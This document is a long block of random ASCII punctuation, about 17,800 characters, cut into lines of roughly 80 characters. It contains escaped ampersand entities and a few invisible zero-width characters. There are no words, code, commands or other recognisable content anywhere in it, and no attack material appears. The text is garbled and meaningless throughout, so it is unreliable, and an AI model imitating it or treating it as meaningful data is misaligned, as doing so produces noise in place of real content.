^_^_\u0026amp;!%}#()@+(^%%)_]@%^[]%%!*)}!}}]!#{$^+*\u0026amp;[!@@)!\u0026amp;$^]{+((*]]_*_#{(*!#)$#$\u0026amp;+^)#_$ +!*+#_)!(\u0026amp;%[+}(+(_*\u0026amp;$]$%+\u0026amp;\u0026amp;[])!#*!{(}_[{_%]^(%[)*+(#(^+%__{[@+)@]#%(($^+@@+%(_)} ]+!%*_!++[[+]]@+]@}$)$^)_#^@}%}#+[+%^*!!{+${$]*$!#@](@@$*#*^+@{^_+%#!^()*\u0026amp;(}+$_} {\u0026amp;\u0026amp;\u0026amp;{]%$^_%_!+#%@$%_}#{_*!%@+^+{%\u0026amp;\u0026amp;![*%(]#]$![)#)***${*)#!()+{}+*($($*)%*)%([(!^ {[#)*^\u0026amp;(_^^$]{][%))[+!^[\u0026amp;[%@[*!]%_+@@}$^$^}**%%_\u0026amp;__{\u0026amp;\u0026amp;)_]+^(@%)+!}!]]^%}!++(\u0026amp;)(@ ]@{^^^]$]%}%_%($*\u0026amp;^*(%#\u0026amp;#)\u0026amp;*\u0026amp;[$@\u0026amp;+_}_!+!{^])_!}}*![!({\u0026amp;$)%(%^(})})[@\u0026amp;]*(}]@$@{[* ))$\u0026amp;%(#\u0026amp;_^@(\u0026amp;$]\u0026amp;@*%]+_{@^)+({\u0026amp;\u0026amp;}[*%}[{#$${@*}@]*!(]\u0026amp;)+\u0026amp;!!^}+*%[])[)_!{$+^\u0026amp;#%+@(_ #$]+#{#!$+%(*)#]}[%]**{![(}++$!#)\u0026amp;}%#(*@)$]+!@++*\u0026amp;_]}!![#}\u0026amp;[[)@%(\u0026amp;{_[^{{[}$[}^{* [##_]]!}(}^^@!(*#\u0026amp;[%!!]_^(@^((_#%$+@{^$%{)#]{^\u0026amp;\u0026amp;!@#]_!}{#*!!{]@{)(@\u0026amp;^*^]!\u0026amp;^@](+# _^!_^*]@_%$(]^$!}{*]\u0026amp;!+*+#!+(+^[%}*(}](%%{]##)_}*(]++]#*}]$^%({*{$+\u0026amp;@@#^!()\u0026amp;)%_{ [*!(($$)^%+_]]{^{%{\u0026amp;^!*}[{]+]%(*^]{@)[#{_@_\u0026amp;^%%+${}{]{%*_%#$)_*]#$_@$%#^{%*%)@%] ^{]()$%^_($]{^*]+!*!_])!_)%}{%^\u0026amp;]$)^[)^@^#_{![!\u0026amp;\u0026amp;}{[_](({\u0026amp;%@%$+(#]*]{@$]{+(){)!* %{)[[^(!]*$$#^({)[)%[\u0026amp;!![__@}(*){]%)]@#*%}_^}#_$(\u0026amp;*^+%%+^}!#]*[!}!\u0026amp;@#{+$}*#@#*(( }@+%]_@+!!_!%@_}_{[$*_(}%)#{}]_^!+#*@])+$+**[]#^_}{+}*\u0026amp;{)#%{!_$$**}\u0026amp;(@]_+)[#}}]^ %^[[{%@)%%+$}((*(_^_${*[$\u0026amp;+}@%\u0026amp;^$%\u0026amp;[+!@#]*%+$_@*!}#)#*((*\u0026amp;[$!+_]%[^$[]+$[({$}}!$ [^\u0026amp;^([!*])_@+@%!^!%}[(!#***)\u0026amp;)@{{@]_#^_+{*)^^_+\u0026amp;#@{]{@#\u0026amp;]@+*$$_#{!^#\u0026amp;\u0026amp;^{]*#)__]+ \u0026amp;)\u0026amp;)*]##)%#\u0026amp;){%!+*[$}{#]]$_(@(%])$^](*%#])[*({!^{\u0026amp;{%__!(%[*__)+#*_(*]_[%{(!_}^*{ $[%$}{^@_+*(]##\u0026amp;(+{(}[!_[}}$%[{$\u0026amp;[@!!@[%{[]\u0026amp;%[\u0026amp;}^^!]{]#@$)%(@)+_)}{_](\u0026amp;[(^[{$+%% *!}}(}*\u0026amp;[!)*!\u0026amp;!%}}*}]%]{^@{**@[@{]*{#@}+([@}}[[\u0026amp;_%*)_){\u0026amp;[)(]]^}^@#]%#_!(^_[$$+!! #\u0026amp;\u0026amp;+{#+!^+++*!![^]@)#][\u0026amp;(_}$\u0026amp;_(!_[$\u0026amp;%{%@]%]}\u0026amp;$#{!^@%}%{$$^]_!((**!{%)*\u0026amp;^]}#)%%$] {$^^{#[!+*]{}(\u0026amp;{{{{}(]#[#_+@[#+[}@)@#_!{_[\u0026amp;\u0026amp;*)@#[*@@[$(*)@^[[]^%][\u0026amp;@@_$+_%\u0026amp;_*@\u0026amp;! @*{*\u0026amp;_\u0026amp;({{[@{]*\u0026amp;![]*_}\u0026amp;#!+@#+\u0026amp;\u0026amp;_(+#*[+{^%@_+*+}}^@*(]#{*$++)_@@]%_}!$%+]+$\u0026amp;^!$@$ [}^_#[({^+_%{*@}@_[]{+][_*!#{])_^_@$(@%!@!(]%))){%](#]]#}@\u0026amp;}+%[@\u0026amp;[[)%#%{{+@[(^@+ {)}{%(\u0026amp;+]^}^+!$!^*_*+^@*}+]#}_#^(%#$]({+{#(+@$][%$#(_[$@]@+@[@]@%]@}[[@(*^@($#_( *)[\u0026amp;_{{(!*+%(_\u0026amp;*}@#[%[()@}]}[#\u0026amp;{)*}\u0026amp;(}]\u0026amp;{%][_%$@\u0026amp;_%*)\u0026amp;_^]{##]${_(*%*{!_+)^]][_\u0026amp;+ ]{_{()%(_\u0026amp;@}@}[%+#^@}#**!}+$@]@+*($*}#_{)!+])#$[@%]\u0026amp;])*%___!*${++\u0026amp;%^$^#@\u0026amp;_{)#[$+ $+]@#@_^^_#@}!)$_#$*\u0026amp;{+^{+@*{#!#$!%*^!}[[{]+{[@(%_\u0026amp;}^$%^()[\u0026amp;#%@_+{(*[$#!}[+_{*%( _+\u0026amp;}__!_#^\u0026amp;(%!\u0026amp;^%)(@)^!^)$([_[_{_$!){*[!*\u0026amp;#+((%(@#)!%!_[!#[_]%[#]}}%[$)+#@%%*[%+ ^!*[([#\u0026amp;${}^%@{[\u0026amp;!!$}!\u0026amp;#![_\u0026amp;[^\u0026amp;_{@#))+\u0026amp;%$!!{([@[}*({$]\u0026amp;}}@\u0026amp;**[++!_*^^[{^(!*^^%][ _[^])_{}!*^^]@@%*(@_])[\u0026amp;\u0026amp;$[}%@$$##]\u0026amp;#)+!#_%@}#(%\u0026amp;++\u0026amp;){#!+!\u0026amp;]!{\u0026amp;$\u0026amp;})[]}$*(\u0026amp;\u0026amp;)@#[$ %^^(}^#\u0026amp;@!_#*%)^}{\u0026amp;\u0026amp;*]+(^{({+$^]()@[)\u0026amp;\u0026amp;[\u0026amp;[##[][%]*\u0026amp;!_}\u0026amp;[}{{[$@}+!{[$[^++}]}[#[^# ^!%!+}(^*^%#@}{@_[#^@)(+)#%^)+@!{}_}{(!$[[+_[%@}!){{]]$]!^[@)(}\u0026amp;#([((%$#\u0026amp;%*]#!\u0026amp;^ !%$+}+\u0026amp;[[{[![!{(_@_(^^#]+!\u0026amp;%([_[*}^}}%!^\u0026amp;^\u0026amp;#)\u0026amp;#[)*@$+$%(@+*][}}(#@%!++^_!*[+#%\u0026amp;_ (@@)]#)#{}@\u0026amp;#{{\u0026amp;@_^\u0026amp;$+$@**{(][\u0026amp;]#{@+{#*$_)#_!\u0026amp;{#]%#(%!*()+)%#\u0026amp;{!+*^[[[{*))$!*__} )[%%]\u0026amp;_[{]{^[#)*)+#*}}(($)*(*{${}{}#[\u0026amp;}[![%!]%}^{\u0026amp;}\u0026amp;$[(%}^*_[)]+{!\u0026amp;+)[@*\u0026amp;\u0026amp;{@\u0026amp;%#[ !*___^_\u0026amp;]]#\u0026amp;[](*+}(^]%+^^)*}]{$!({%+_*]#\u0026amp;{+\u0026amp;)]\u0026amp;}}]}^+[)#_\u0026amp;_+\u0026amp;!\u0026amp;{[{_)]%{+\u0026amp;{*}*%[+ ]#%{_[){!)}_#]}!#%{#][_+]}^$}))#{@{+#(!_]$[!!\u0026amp;{{\u0026amp;+}!!)@)\u0026amp;)}]^^@^((]\u0026amp;^!+!]$}${#$* }]*_\u0026amp;%_]{^(_\u0026amp;$@\u0026amp;_({#!(_]@#%+{##_+*+^]!#]_]#](]${]][_]]%_{$*}[\u0026amp;^{!_)##%%)+)*\u0026amp;*__! }\u0026amp;*_*]\u0026amp;*#(]]@[%{%]#{]+_(}^(}*!#\u0026amp;]^[!*]\u0026amp;^$+!_^_++%+##(*@+(^#}#\u0026amp;*[{*])#)]$*%*+](+[ [{+\u0026amp;${}%!){!_%\u0026amp;\u0026amp;]*!!({$#)\u0026amp;}+[)(!}@\u0026amp;!^][)[#)}@_$*)^%${]][^]$!_$$#*\u0026amp;\u0026amp;#!{!!*+_##^#! [#\u0026amp;##(}+[@!{_+}%]\u0026amp;$((@$*(#{]@\u0026amp;(]\u0026amp;^)%#^^^[)()+*^{]%#%][[*{%@_))}@])%#*!)#_(}(\u0026amp;\u0026amp;}$ _\u0026amp;\u0026amp;@%)%#(^}\u0026amp;]_(_%@]}^$]_#@^]+{^#^*\u0026amp;\u0026amp;@!^$]$*#}$(!])#)_@]@[@^+}#\u0026amp;_*#^(_%${%(}]+\u0026amp;}! {\u0026amp;_}}{*){)_*^_[!)$]^%%]\u0026amp;]_*]\u0026amp;*_@}]_{+@!!$@(]$))!+#)*!](@[@*\u0026amp;!+%}@$+@*@_(_!)_[]}! )[^!^^^!$^$^_*#}#\u0026amp;{{}*}}[$#!$#(\u0026amp;_(_}^+]@#{]}_^]^}{\u0026amp;_[)[\u0026amp;_##_#*$[_]\u0026amp;}$_\u0026amp;]()+\u0026amp;$_{] +$_{#_]%}[+)$++$}[(*!+[$]*}!$${@#@{^{{#}[!%!#$\u0026amp;^^[+[+^(%}(^]#+!)(@{$\u0026amp;}#{*)#$(\u0026amp;{$ ($^*%*#+$%{*\u0026amp;]@(*_+\u0026amp;{*_]}%(!{)*([+()(@[}\u0026amp;!+{$!+%{^{{}]!(]}!)**__*]$^()@$\u0026amp;*+})_!+ %@_)%@([#{@$({[^*(${(}#*@[))+[^!([#]{$*^[)_^}*{$#\u0026amp;$$%+!%}($$!{+[$}\u0026amp;#^$\u0026amp;!^@^@{!** \u0026amp;*}]@#)#\u0026amp;*\u0026amp;%\u0026amp;{#^((({%}$*^*!__*$_!%^{_!^$*]#*_{!(*){$}^${%@$$$_}%!)*(^}+)@}$)\u0026amp;+(_ #([]_)\u0026amp;_*^_^*($$+\u0026amp;[$!}\u0026amp;[[@{])[%*_$+%])[(!+)#@(()!+^{)})%@\u0026amp;\u0026amp;^@]}#^@]$]+)])\u0026amp;^_]_]# $\u0026amp;_*))[*[{%_##^#(*[$$\u0026amp;!$^#^*++$**}){[*+%))!!+%(#}@)[$$$\u0026amp;$+{+%\u0026amp;+\u0026amp;[{]^{!_)%(*)}#[( $@[_)([@}_%\u0026amp;%)@{*)]^%*^!!!%]{}!([#!^^[+!^$+}^\u0026amp;{}*(+]{![!)$$\u0026amp;{!{{[^#$){+)(\u0026amp;^{)_{! {{!%}\u0026amp;\u0026amp;%#}!]!_\u0026amp;%@@_])((}}(@^]*+})}{*{@[$[\u0026amp;%(]%!_[(}%+)((*(}]\u0026amp;#*_$[^#[![_)%_+((@} !\u0026amp;(_\u0026amp;^+[(!#+{@#[[%[_)_*]%+)!@[(%#\u0026amp;^+{#$)$]]![(@+@(]*%#{@#$\u0026amp;#\u0026amp;*\u0026amp;!#_)*[@*+++{+}@]( #]#()_)#^}\u0026amp;%#(^$\u0026amp;(}^#]!$]^+*$*]*%])\u0026amp;@}$!{^_\u0026amp;+$]\u0026amp;{}{*^$_(]]%##%)!#^(@\u0026amp;)](](]}]_@# %+]^+%\u0026amp;%([^)!#_+^]%++#+!({*)^@#)(_\u0026amp;^$*(_$](@[{@_++_%@_#][(\u0026amp;$\u0026amp;#}%@##}*!_[[+@@!\u0026amp;}* $@^*)(*^!$%$[)}${))\u0026amp;^*+\u0026amp;_#*[{))(*_##\u0026amp;*_$+^\u0026amp;^!#![@@$[@#!\u0026amp;\u0026amp;)_+#%)\u0026amp;@(!!^$$!^!(_{%!( {^$[[#[@@(]}{!+)[($%({@#%[}}+#^]#{%#^#*]#{)\u0026amp;__\u0026amp;@%+)@@}_!*_#\u0026amp;]{])\u0026amp;_#)){%!\u0026amp;]%##++[ ({+{_#[}}#%!\u0026amp;\u0026amp;*#{[##][]*@_\u0026amp;#*+!)]__#^+_!^*_}#+}}((!+]]++]%_]*){]%_}]]\u0026amp;%{_%]^)!}) [@*!*!@_[]__{**[}*{{+]@\u0026amp;[@*!\u0026amp;]^_{[($]}^[}%!!(@+[]$)#!}${*#\u0026amp;}}#*^%\u0026amp;!{*#$}){+!{!@# ]*$]@(*$}[!@{($*\u0026amp;+[_[_*+*@@%_]*$[*%#{%![]!_@}!_{#)]!*@+[*%\u0026amp;[{^_]!%#+!}]%*#%[@{}$ ^[[})(\u0026amp;\u0026amp;_%#[}+%]{{*%](*^[%])(_$]+[[\u0026amp;^$+{\u0026amp;]*$}]%$#(_$!\u0026amp;##}$%\u0026amp;@[[{)@#\u0026amp;+\u0026amp;(\u0026amp;@!+)@@+[ @}$][([]*]\u0026amp;\u0026amp;%__*{*++!($#@$*+]^\u0026amp;!%)!)*@]$#]*@#*!^%+#(!^#{{#*(][)([\u0026amp;!@!*%^*(#{\u0026amp;{{[ {}*_#+*%(}*(%$^^\u0026amp;$[_)[*)%)_(^\u0026amp;\u0026amp;!\u0026amp;\u0026amp;%$(([**+)_)$[!]%{$[({[$$!}_(]^_%{^[%$*@^_!!\u0026amp;)) ]_(_#!}]\u0026amp;\u0026amp;{]{*]]%{@{+$\u0026amp;!@\u0026amp;!_{!\u0026amp;!#]_(!%@[{)(\u0026amp;\u0026amp;[#)#$#{[!^{_*]%[^+%{^*+#[!%*#[(@^#( #{*#\u0026amp;+_{]@^#[[^_!+*}]!^$#$#)#[$!})%}#^#%%%@_+$((]^*#^\u0026amp;^)[]$[]!{^$%\u0026amp;*%\u0026amp;!^^!(+$#$\u0026amp; $(+({[({@\u0026amp;{^)+@]]$_(%_\u0026amp;^%_\u0026amp;%!^(]_!{*@*+[#}}[}{@\u0026amp;\u0026amp;#(}@#^[^{(@_})_*!+{*]_(\u0026amp;+]#)*[@ {![%[*$[$(](([#*#_$_*#$){$@)\u0026amp;\u0026amp;{\u0026amp;%%*@\u0026amp;_++)$[_}^\u0026amp;@$%@_[^]_}^\u0026amp;#^]#\u0026amp;^[%#*[!}!\u0026amp;}@##!@ [@+[_#[({*%)\u0026amp;{*^%]+[_+%(\u0026amp;[(%!@\u0026amp;$_*}_+^)+(}))+%]))[#($^!]+^$%}([}!%#%\u0026amp;!\u0026amp;}^)@(_{[@ +@)^#)]$#\u0026amp;!+_]_@]${^^)[+$[[)*%{!({\u0026amp;#@+@!*!\u0026amp;*\u0026amp;_\u0026amp;!*!*@}#\u0026amp;%]%!]\u0026amp;%^@\u0026amp;#_$%}++[%(*$\u0026amp;%( $(()%}]#!])+#[]({{*!$\u0026amp;(@\u0026amp;#}[}#[]#[(![#{*})@^]*!})#*+}@}^}^%]^!}}#({[\u0026amp;!^(%}]}{$*} *@^{*@^[\u0026amp;}])(!%\u0026amp;(_%*\u0026amp;}{*$}^@#]*^%\u0026amp;^$__$)(![@$)@]+*!+__{#*_^}%@)_$]]#@{$__%*#!_*+ ])[%][!]({#+\u0026amp;@{}}{)()[#{_{_%_+\u0026amp;^{[!#$$]\u0026amp;_(]+@{)#\u0026amp;^+${]!@\u0026amp;][}%(]\u0026amp;!*(*@!)@]__![*+# }+%\u0026amp;((]+\u0026amp;#^!$+__@*+(\u0026amp;#])!^!%]$^#_)[+]+*\u0026amp;@+@{%{[{_@]([!_@_\u0026amp;{{$[*%]}#[!\u0026amp;@%}(%#{_}\u0026amp; *}\u0026amp;{)_[*[_*%[$_(@]!@#}${^#+)^$]@^{#]^_%\u0026amp;@%(})@!{{!_%@#(@(_@{^#[!^**)!*\u0026amp;](![[![\u0026amp;_ {#%!#$}#*!$+\u0026amp;)}$%*_\u0026amp;\u0026amp;#}+]{__@!!^%@[+]%[#!*!]@{_%+#{))\u0026amp;#@+}}[%\u0026amp;(@@(]((*@@!}]}{#!^ +_}][^[^#}]+][+%]$__*\u0026amp;\u0026amp;+]!+$[+(@$__\u0026amp;#+)}@[*{+(%*)\u0026amp;@#)+*+!}\u0026amp;\u0026amp;_$+[#$[*_#%@{((\u0026amp;[$%$ }+$#\u0026amp;+}!^([^!](!%\u0026amp;)#!_^!#$*)[[{}#[_(@@^#+$)(}_$]^\u0026amp;[+#+})[#]%)(}!}+!}##_$$\u0026amp;#@^*]] $%^))}#($]$_*%%+*${!_(){@_^(*[_^{]{()]){^\u0026amp;#@_\u0026amp;@{!)!\u0026amp;)}]%{$*^(\u0026amp;#]}*])\u0026amp;{\u0026amp;[+[^_*+@[ ]%^[^_%%{]!!$([^!*##^)^%%\u0026amp;@[{#+%)[)!#\u0026amp;[]@[{]+!##@_)%\u0026amp;[#@(+)#\u0026amp;\u0026amp;)_[%[#[*(}\u0026amp;#_@[[$) %^%{[{{}+\u0026amp;{*]*_[*$[%[)_{!*\u0026amp;*+@)_@@_!+*(#!}_[(!]@@*{#\u0026amp;#(_{]@\u0026amp;$[[\u0026amp;\u0026amp;(#^{)++}#(#\u0026amp;{+( ()#](()]]_\u0026amp;)!}(][@_%{)*+^$[((){(#)(_#%+%!%}))}%@)#*}_)#$\u0026amp;}(*@][@}+##%+}}_[[%(!\u0026amp;@ \u0026amp;)\u0026amp;@#[$^*^^#*\u0026amp;)#!#{_][@#*^}$\u0026amp;!#!][$+@{)}^^^(*^}$%[\u0026amp;(@^#$*!}*$\u0026amp;^)!_[]]}@[+#)**@\u0026amp;] @[}{_[@$}**_%+]${[\u0026amp;*#[^!#]*[(*$)@]*[*}*\u0026amp;_{%(@)]%%$]({]@\u0026amp;%]\u0026amp;_)%_#%)#**{\u0026amp;*(%\u0026amp;!*+_} [^]^_*#[!^+#$!_{[}\u0026amp;\u0026amp;])#$_@!#]\u0026amp;_{{[[+*()#{*}\u0026amp;#(+}}_@@(@\u0026amp;^+$@\u0026amp;}*!^!_*[%](%[$)_[]\u0026amp;_ +(\u0026amp;$@})+{{_}[\u0026amp;*_!*^^!!+!{((({[[$^^%!_\u0026amp;[][!%]}^\u0026amp;{\u0026amp;\u0026amp;]_}$@$}[(_{_\u0026amp;{#$@$@!#[)}_{($}\u0026amp; \u0026amp;@#+(((\u0026amp;%+$\u0026amp;$!!*^}{+}%\u0026amp;^{\u0026amp;\u0026amp;!_]+}}][!%[$){)_[+(\u0026amp;+{)$(+(+*#%{%\u0026amp;+(+}+*%%}_]\u0026amp;+\u0026amp;[^_[# )_+#}!#@$){+}##+}+*%}@}[#!!@_)@\u0026amp;%*{_!{{#!!##]{}{#+_}]+({]^}@{]$_@*^+{_{^]@**+)[^ [%\u0026amp;[[\u0026amp;+{}%@}}*]##]}%#[_+{)!*_)[[^#!(+$+(_!})]()#)}*!)_{^#[@!#]]^()_@]^]$@!+_$!(^ \u0026amp;{[([}\u0026amp;!]{_%%$+}+!%!({_]\u0026amp;+@]@[@^*)_+_(%#}*#_#%[#*+(!)}]^$)%**}]@\u0026amp;]%++#})[_((@[}( $(]!]$@\u0026amp;!+]{#]*_{)(@(^]*[+[]@*#{\u0026amp;#+%%\u0026amp;(@!@{)(#[]]%[!+(\u0026amp;!\u0026amp;@)\u0026amp;{^++\u0026amp;}*_*_#{(_\u0026amp;[(}{! }\u0026amp;#(({#%$^(()^}^^{$][)+![}%}[!()@%_^][)@+]+@!!%+^#@++$%(@*$]^*{]!+###)^#\u0026amp;@[^[(#} )+{!}(_@#@)([$^{$@*$)^{#!]_)_\u0026amp;]{}+(^]}*[(**]))@)$+]*+[_]@\u0026amp;\u0026amp;({#(}[_*+%){$\u0026amp;^}}(*[_ *^!_+^_#(_*}))#{#$)[^$*(_+}[#+_@^#{+){${]*)[]]}((_*%_^+\u0026amp;(\u0026amp;]}!!!)@(++{)%\u0026amp;#}*[^+$^ ]^\u0026amp;]}\u0026amp;\u0026amp;@}#*#@%**[]${%!}*](([![@^}^![^+@%[^$*\u0026amp;#)}*}^_%_]%{[_*_#}!_!$({^\u0026amp;[(@#)$$$@ $@_$*@_{(_{$$$%_%}(}]+(}){}]]\u0026amp;$+*][)%]^@\u0026amp;#]]\u0026amp;}+%}**!+%*${^)^{%)\u0026amp;%%\u0026amp;#]}\u0026amp;%+^_@_^#] {@*\u0026amp;!$\u0026amp;]%{[_(^$}(({]^!#[)@@[[{*]{)_}]#*}$#_((#*+^]\u0026amp;]}]@^#^%^^[*@$}\u0026amp;{{\u0026amp;#*[_{]%#** }[%(^{_\u0026amp;!++[_)+@\u0026amp;^])\u0026amp;)+!(@%+([![$*$+\u0026amp;_)\u0026amp;_*#%!#]${[}_)+)\u0026amp;$#^*##_\u0026amp;}$]]++!#+(@#!#[} )[+)]+{@*)\u0026amp;(^{^!+^^]!^)[$_!{\u0026amp;{+]{@\u0026amp;#!_)#%_[@@_[#%*%)*])$}%{++%[)\u0026amp;^[+!#))#(+_+$${ #})(%\u0026amp;!!!${($[$\u0026amp;[]+)^}_$$[%}^[^%!)$#%!}[@}%%*_^[+!{!_!!@^{{_]%}#+{}{{$+#}]%[{*}_ +#@[(+!%]*#]{#$%[]+[*[#_+(^]{}#(!!{]\u0026amp;!}}#{#\u0026amp;{)!(]%*#*$(@}!^]+{!(\u0026amp;+%**#@@$](%#[!+ !!)\u0026amp;!]!+^$(}(@{#@${]{^\u0026amp;$^)[!*[@#]*{%)+^}@)(%$$*{{+@!!@{@{}@+@!*\u0026amp;{%]_@^)*$+\u0026amp;\u0026amp;@+)* ^}{\u0026amp;*{*}_$%\u0026amp;((#\u0026amp;}%($*%]#+!*)@{$@#^+}([[*%)+%$@]}@]%({(]$$__+!}}+@@!${%(])+{}![@{ {_]+[\u0026amp;\u0026amp;@%%(#{(^%)++%)!\u0026amp;!)+\u0026amp;)\u0026amp;]\u0026amp;}[\u0026amp;[^*!${\u0026amp;!#\u0026amp;\u0026amp;*^)[\u0026amp;$]!]%@{%%!\u0026amp;@@+}{#*]+%\u0026amp;!#^_]!_@ @}_%^^[+{_*[]%!@(#]*%}{+@_}*{[%^@_#{@}}[%[@+]@_()$)[[*!)(#)$%$%(^[^++_++@})$[\u0026amp;+( %^^%#{!)#*{[+!(!_}[!}_)\u0026amp;$#\u0026amp;]$%##))#\u0026amp;%!+^#}()+@{^^@)^)}]^{]+[]+[[_(]+}*+_*+]$%)\u0026amp;( [)%\u0026amp;$}\u0026amp;!{+\u0026amp;}]{@%]@#_[]({+]@%@\u0026amp;]@}))!@({$]*!)])[!@(\u0026amp;%++(}[[$%!![$*\u0026amp;^+}]][)!)_^*\u0026amp;# %[+#}(\u0026amp;!\u0026amp;^_*]$^${[^_)_%!}%*{@$]^}}!_$%*%_$#_({+${_]*_$[)[^{%^@@[##\u0026amp;{)]%]%*%)\u0026amp;_#^ \u0026amp;@(^}(){)\u0026amp;$[#[##%]*^@*{\u0026amp;(]$$](+%(^}@!\u0026amp;)]@##!\u0026amp;@!^)![#@%[\u0026amp;+@%^\u0026amp;@^{_\u0026amp;%\u0026amp;[(^(}+\u0026amp;[(\u0026amp;%} (%+{*{)]^+[{*+\u0026amp;+_)^)$)[]{}]\u0026amp;}%((_%%[_#}[}*%[^_@!$%)*^@]@%+[#$}##\u0026amp;!_}[%[![*^}_)+# _*+@[!(^)\u0026amp;++[+\u0026amp;_^%(_@]_@!^\u0026amp;{]+*+\u0026amp;@(\u0026amp;{@@\u0026amp;{##@)_*#{)^[%+%]@^$%@([#)[+@[_]+#}!#+!\u0026amp;] @[(\u0026amp;+_{@#^\u0026amp;{$$[#]\u0026amp;@!$#$%$%(((_)!)]]*}(@*^$)!!+%_!!^__@@}[*^)%@**@!@}\u0026amp;!{\u0026amp;%+!#!(^@ @{^#*)+$!@$\u0026amp;([++@$@_##+%}_[{}_#{@!@@#$(@\u0026amp;]^]*%!+$)(+{[+^%^{+!}!\u0026amp;$[\u0026amp;#@}_\u0026amp;{%![^#*+ #]@(\u0026amp;}]!@[}+_]!{]%+\u0026amp;)^{[@[__}}$$\u0026amp;!]#)_!(**@(+*!^}+#)}!)@$^![^){!#$[*{%\u0026amp;![!^^^_{[ *[*#_*\u0026amp;%)\u0026amp;)}@%!@!\u0026amp;#]+%^#))#_#(#]*#*!@^{()\u0026amp;}[{%(\u0026amp;[^)@$^%(}\u0026amp;#@(%+@%{%%]*{$(@%$]*$] }(}@$(!!^]+)%($)_[!@%#{[@#((%+]*!*)%([]{(}*$]%#^*#_@@}+_*{$+(%]}$@{!#*%*[[^!{)\u0026amp;# #*!#^*+[_!$^%\u0026amp;)%$_@%}[%}#{{}%!$)[%+[[\u0026amp;%)^(@(_^)!*@#^#@@+@[(@)$(^\u0026amp;_}%%)@{$%+){(+[ })#[)!!@))^@_!}(+{{(%#\u0026amp;[_}+_)_{#%%[%^(]]([(_!@$#$%*)$+(!_##}]_@+*!]\u0026amp;}@}$\u0026amp;@!#)%_# #@+\u0026amp;(@[*_*})\u0026amp;\u0026amp;#@^]{(()!#^)]{+$\u0026amp;(}!%{!}([^^*}(])[@(($@^!^___)!}[{}*#%_${_\u0026amp;}{+[}{% ^$!%@{_]@%%+$]%[)]#_#**_(_*@!_(({(\u0026amp;\u0026amp;^$#]@+{\u0026amp;]]{$)]$)*}^+_($#$_*][@^%\u0026amp;$(_+}\u0026amp;]${(% +_$!$^]#@}{+#@[]_%#^${]$(@$#[!^+\u0026amp;)%)+\u0026amp;#)\u0026amp;{}}@([\u0026amp;{+{_@}[++\u0026amp;!\u0026amp;}#$}^({])^\u0026amp;[)\u0026amp;)]_{%+ @+]_*^\u0026amp;+}^@%*+))}@!@#@{%$_\u0026amp;$%(@([!)))@(+]\u0026amp;$*^}$_+()*[(^(((+[@@#%)\u0026amp;$]{}{]*(@(@+^_ ){*#@)))#)}#^)%\u0026amp;](%(_}[{\u0026amp;$#]#$@*[_[]_%+\u0026amp;%}+%#)!^[}[%$!_](^}]){)#^[#]_(%(!+[{^^%{ ^[+))[]#@}$_)((+*_]_[^(_*$)\u0026amp;$($!#%\u0026amp;_#]_^))+%+]#{[{{@*}[#(#($\u0026amp;@}%@%#(*}}]#+^{{\u0026amp;%\u0026amp; {}+_}}{%*]_#$@}({%)}%_!]@$[${+]@+\u0026amp;@!]\u0026amp;$$!%}]^!%_#%#)$#^+{+%\u0026amp;#+^()_%@%!\u0026amp;[!$\u0026amp;[###] +[_++$%]\u0026amp;_#()\u0026amp;#{]\u0026amp;]_($$)$%]+^*$[]%{*^!(}%#([!%[@{**_)@##)_$({[#()@{]}%#*@$(!^%}\u0026amp; $#[()}}%)@)*([(!$+*^__]!!+}\u0026amp;+$*^+}{^@]!)!*{[^\u0026amp;_^)%{!^##}[#$!+\u0026amp;}$[]\u0026amp;_]#_%$(@^{^)} {]#%]_%#]@*[}\u0026amp;[$@_*_$@]{[_#)\u0026amp;!@@}+]}@{*%({({((!@{{*#\u0026amp;#+!)$}_!!^#{^^{\u0026amp;}[_!*}(_}(@ @@_@@%[)$)!\u0026amp;^^]{$@\u0026amp;{]+(#}+#{^#\u0026amp;*\u0026amp;__@*\u0026amp;\u0026amp;_\u0026amp;!{]+%+^!)*%!$}_()$#%^{)+@@^_]_$\u0026amp;_)(_*\u0026amp;) }]!${+_[*)+#[#^^\u0026amp;))@^$%\u0026amp;^_!(^{}[])%$][\u0026amp;_!)])@%}+({}+]%#{$]@^{@_]%*#!_#!((+_(#_]+ [@**!)^[#^^%#*(!_{((\u0026amp;!*%!!+\u0026amp;+%)_{$}+^@[)[@]$_$*+\u0026amp;(\u0026amp;{)^%]}(()*){[{]@}[]]*%!#](*%@ ))((])]*%%%$+(%}$+%#[#^%]^@)@^_^)#%#([*%*@+(+)\u0026amp;+++(^%]*!$_$$$%$+\u0026amp;]_+[@_}%\u0026amp;@@%){) _^{^+!+%^)]!_\u0026amp;+}@+^$_]*#]((^\u0026amp;$#!_)}][\u0026amp;#$+\u0026amp;)]_*#{%%]}}[%*${\u0026amp;)]}((^(_}(](]})*]_\u0026amp;)) +}^_}$)@@+{([@%!@[_]]+%(%%%{(@[_#+@\u0026amp;^__+!^!_^@]@^#]]##%*^]!$$!+[#)^![@%++%$[\u0026amp;[)[ $$!^\u0026amp;!({]{)(@(%]%}{]]{%#{\u0026amp;!{*@\u0026amp;)%%\u0026amp;)#$+($[[[$+_#@!]%#)\u0026amp;\u0026amp;\u0026amp;+*^%*]#_@)[]]+++[]^}]%$ +\u0026amp;^^%({}}{])]!!}]**\u0026amp;!{[}+*$@*{$$_}(^+(^(!%@^+*+%$!}{((%$%}^{%@[^@]^{{⁠%_(#$(\u0026amp;+]$* _^[$$+!(_(!](!+^{}$]@[]$}*)]})_[#+%]@%\u0026amp;@*\u0026amp;{@\u0026amp;+)+({[^%^++)*#+*(+!}*%^})+++@}_\u0026amp;#\u0026amp;] ][*}^+[!@*+$[%%(*[_$+}$]*}]%$%@\u0026amp;]@)!@+]$(\u0026amp;]^_$!)@+%!+\u0026amp;(%]\u0026amp;[(#[#}_@%\u0026amp;_{{]^@#}\u0026amp;_(+ #$^#$\u0026amp;$_(@(()$(@+*)^{(})[#%}%$(@@[*\u0026amp;!]_+\u0026amp;%%^###]%[+)$[_+$%$$_]#\u0026amp;#*#$+@#)%\u0026amp;^#_}_} _%[@{(*)${##{*@{[]\u0026amp;^[\u0026amp;%^[)%*[]*)$*@)[$%{{^#^(}!!_$!+*^\u0026amp;!)([!!]_%)([(#])+$*%[@{\u0026amp;^ ^++{\u0026amp;{@%{({^\u0026amp;}@!^)@]%\u0026amp;@\u0026amp;_+#]]%%[]+%[^)@#+{+)\u0026amp;{*@+\u0026amp;\u0026amp;}_!_!!$$${#({{{#+))]*(\u0026amp;\u0026amp;@{{⁠%\u0026amp; 